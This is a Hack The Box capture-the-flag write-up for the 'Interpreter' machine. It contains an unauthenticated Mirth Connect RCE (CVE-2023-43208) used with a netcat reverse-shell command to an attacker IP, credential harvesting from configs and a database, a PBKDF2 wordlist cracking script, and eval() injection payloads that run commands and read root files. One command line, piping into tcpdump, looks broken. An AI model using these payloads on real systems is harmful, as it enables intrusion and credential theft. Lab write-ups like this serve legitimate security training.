

HTB Interpreter - Medium Machine

Martina Giacobbe

1 Introduction

This document presents a full penetration testing workflow against the **Interpreter** machine. The methodology follows standard cybersecurity penetration testing phases:

- Reconnaissance
- Enumeration
- Exploitation
- Post-Exploitation
- Privilege Escalation

All steps, including failed attempts, are documented and expanded with theoretical explanations.

2 Reconnaissance and Enumeration

2.1 Nmap Scan

The first step in any engagement is service enumeration using **nmap**:

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 9.2p1 Debian
80/tcp	open	http	Jetty
443/tcp	open	ssl/https?	

Observations:

- Port 22 exposes SSH (useful for later access).
- Port 80 hosts a web service (primary attack surface).
- Port 443 is open but not immediately useful.

Important note: No HTTP redirects were observed. In web enumeration, lack of redirects may indicate absence of virtual hosts (vhosts), reducing the need for host header fuzzing.

2.2 Web Analysis

The web interface presents a login panel.

Initial Hypothesis: Possible SQL Injection (SQLi) but No SQLi detected (failed attempt)

Key Discovery: The application is identified as: **Mirth Connect** (NextGen Healthcare)

3 Vulnerability Research

Searching for known vulnerabilities (CVE lookup) reveals:

- **CVE-2023-43208**

Description:

- Unauthenticated Remote Code Execution (RCE)
- Affects Mirth Connect versions < 4.4.1

Version Analysis:

- Target runs version 3.10.1 (year 2021)
- Therefore, it is vulnerable

Theoretical Note: RCE vulnerabilities allow arbitrary command execution on the target system. Unauthenticated RCE is critical because it does not require credentials.

4 Exploitation

A public exploit is used.

```
python3 CVE-2023-43208.py  
-c 'nc 10.10.14.118 9001 -e /bin/bash'  
-u https://target/  
-p unix
```

Explanation:

- A reverse shell is initiated using **netcat**
- The target connects back to the attacker

Outcome: Shell obtained.

5 Post-Exploitation

5.1 Credential Harvesting

After obtaining shell access, standard procedure is:

- Search for configuration files
- Extract credentials

```
/usr/local/mirthconnect/conf
```

Credentials found:

- username: mirthdb
- password: MirthPass123!

5.2 Service Enumeration

```
ss -tulpn
```

Purpose:

- Identify locally exposed services
- Detect internal attack surface

5.3 Database Access

```
mysql -D mc_bdd_prod -u mirthdb -p
```

Observation:

- Access to database granted

Interesting Table:

```
PERSON.PASSWORD
```

6 Password Cracking

6.1 Initial Analysis

The stored value:

```
u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
```

The presence of readable characters and padding == at the end, suggest that this string in base64 encoded. So I do:

```
$ echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | tcpdump -c
```

Result: Binary output (expected for hashed data).

6.2 Hash Structure

From documentation retrieved in MirthHealth publications:

- Algorithm: PBKDF2-HMAC-SHA256
- Salt: first 8 bytes
- Iterations: 600000

Theoretical Note: PBKDF2 is a key derivation function designed to slow down brute-force attacks via iteration count.

6.3 Hash Extraction Script

```
import base64
import binascii

b64 = "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=="

data = base64.b64decode(b64)

salt = data[:8]
hash_ = data[8:]

salt_hex = binascii.hexlify(salt).decode()
hash_hex = binascii.hexlify(hash_).decode()

print(f"sha256:600000:{salt_hex}:{hash_hex}")
```

Output format:

```
sha256:600000:<salt>:<hash>
```

6.4 Hashcat Attempt

```
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
```

But it was too slow.

6.5 Custom Python Cracker

```
import hashlib
import binascii

salt = bytes.fromhex("bbff8b0413949da7")
```

```

target = bytes.fromhex("
62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb")

with open("/usr/share/wordlists/rockyou.txt", "r",
errors="ignore") as f:
    for line in f:
        password = line.strip().encode()

        dk = hashlib.pbkdf2_hmac(
            'sha256',
            password,
            salt,
            600000,
            dklen=32
        )

        if dk == target:
            print("FOUND:", password.decode())
            break

```

Result:

- Password recovered: **snowflake1**

7 Lateral Movement

7.1 SSH Access

```

$ ssh sedric@target
$ cat user.txt

```

8 Privilege Escalation

8.1 Initial Checks

```
$ sudo -l
```

but sudo: command not found

maybe linpeas.sh would be useful. I try to download it directly from sedric's shell but it doesn't work. So I download it on my machine and serve it through python server:

```

$ wget https://github.com/peass-ng/
PEASS-ng/releases/latest/download/linpeas.sh
$ python3 -m http.server

```

on the victim:

```
$ wget http://myhost:myport/linpeas.sh
```

from linpeas.sh I notice an interesting file:

```
$ -rwxr----- 1 root sedric 2332 /usr/local/bin/notif.py
$ cat /usr/local/bin/notif.py
```

Permissions:

- Executable
- Owned by root

9 Exploitation of notif.py

Examining the code in notif.py, it is clear that there is a vulnerability in the eval function. In fact, although it tries to sanitize the input, it doesn't block all characters. The script uses eval() on user input.

Theoretical Note:

- eval() executes arbitrary Python code
- Improper sanitization leads to code injection

9.1 Proof of Concept

```
$ nano payload.xml
```

```
<patient>
  <firstname>{__import__('os').popen('whoami').read()}</firstname>
  <lastname>Test</lastname>
  <sender_app>HL7</sender_app>
  <timestamp>2026</timestamp>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>
```

```
sedric@interpreter:$ wget --post-file=payload.xml /
--header="Content-Type: application/xml" /
http://127.0.0.1:54321/addPatient -q -O -
```

Patient root

Test (M), 36 years old, received from HL7 at 2026

it works! So I retrieve the root flag with:

```

<patient>
  <firstname>
    {__import__('builtins').open('/root/root.txt').read()}</firstname>
  <lastname>Test2</lastname>
  <sender_app>HL7</sender_app>
  <timestamp>2026</timestamp>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>

```

```

sedric@interpreter:~$ wget --post-file=payload.xml /
--header="Content-Type: application/xml" /
http://127.0.0.1:54321/addPatient -q -O -

```

```

Patient e24142ee704d2407dbe4b72decaa5eff
Test2 (M), 36 years old, received from HL7 at 2026

```

Outcome:

- Root flag retrieved

10 Conclusion

This machine demonstrates several critical security issues:

- Use of outdated software with known RCE vulnerabilities
- Weak credential storage mechanisms
- Unsafe use of `eval()` leading to privilege escalation

Key Takeaways:

- Always validate and sanitize inputs properly
- Avoid dangerous functions like `eval()`
- Keep software updated
- Use strong password hashing configurations